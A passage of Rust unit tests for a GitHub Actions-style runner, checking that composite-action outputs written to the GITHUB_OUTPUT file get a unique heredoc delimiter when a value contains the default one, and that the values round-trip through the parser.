9145 Some("line1\nline2\nline3"),
9146 "parse_github_kv_file should round-trip the multiline value"
9147 );
9148 assert_eq!(
9149 parsed.get("single").map(|s| s.as_str()),
9150 Some("hello"),
9151 "parse_github_kv_file should round-trip the single-line value"
9152 );
9153 }
9154
9155 #[test]
9156 fn propagate_composite_outputs_value_containing_eof_uses_unique_delimiter() {
9157 let action_yaml = r#"
9160name: EOFInValue
9161outputs:
9162 data:
9163 description: Value with EOF-like content
9164 value: ${{ steps.gen.outputs.blob }}
9165runs:
9166 using: composite
9167 steps: []
9168"#;
9169 let action_def: serde_yaml::Value = serde_yaml::from_str(action_yaml).unwrap();
9170
9171 let mut composite_step_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
9172 let mut gen_outputs = HashMap::new();
9173 gen_outputs.insert(
9175 "blob".to_string(),
9176 "before\nghadelimiter\nafter".to_string(),
9177 );
9178 composite_step_outputs.insert("gen".to_string(), gen_outputs);
9179
9180 let action_env = HashMap::new();
9181
9182 let tmp = tempfile::NamedTempFile::new().unwrap();
9183 let tmp_path = tmp.path().to_string_lossy().to_string();
9184 let mut caller_env = HashMap::new();
9185 caller_env.insert("GITHUB_OUTPUT".to_string(), tmp_path.clone());
9186
9187 let working_dir = std::env::temp_dir();
9188
9189 propagate_composite_outputs(
9190 &action_def,
9191 &composite_step_outputs,
9192 &action_env,
9193 &action_env,
9194 &caller_env,
9195 &working_dir,
9196 "success",
9197 );
9198
9199 let content = std::fs::read_to_string(&tmp_path).unwrap();
9200
9201 assert!(
9203 !content.starts_with("data<<ghadelimiter\n")
9204 || content.starts_with("data<<ghadelimiter_"),
9205 "Delimiter should have been suffixed to avoid collision, got: {:?}",
9206 content
9207 );
9208
9209 let parsed = crate::github_env_files::parse_github_kv_file(&content);
9211 assert_eq!(
9212 parsed.get("data").map(|s| s.as_str()),
9213 Some("before\nghadelimiter\nafter"),
9214 "parse_github_kv_file should round-trip value containing the base delimiter"
9215 );
9216 }
9217
9218 #[test]
9219 fn generate_heredoc_delimiter_avoids_collisions() {
9220 let delim = generate_heredoc_delimiter("hello\nworld");
9222 assert_eq!(delim, "ghadelimiter");
9223
9224 let delim = generate_heredoc_delimiter("line1\nghadelimiter\nline2");
9226 assert_eq!(delim, "ghadelimiter_1");
9227
9228 let delim = generate_heredoc_delimiter("ghadelimiter\nghadelimiter_1\nother");
9230 assert_eq!(delim, "ghadelimiter_2");
9231 }
9232}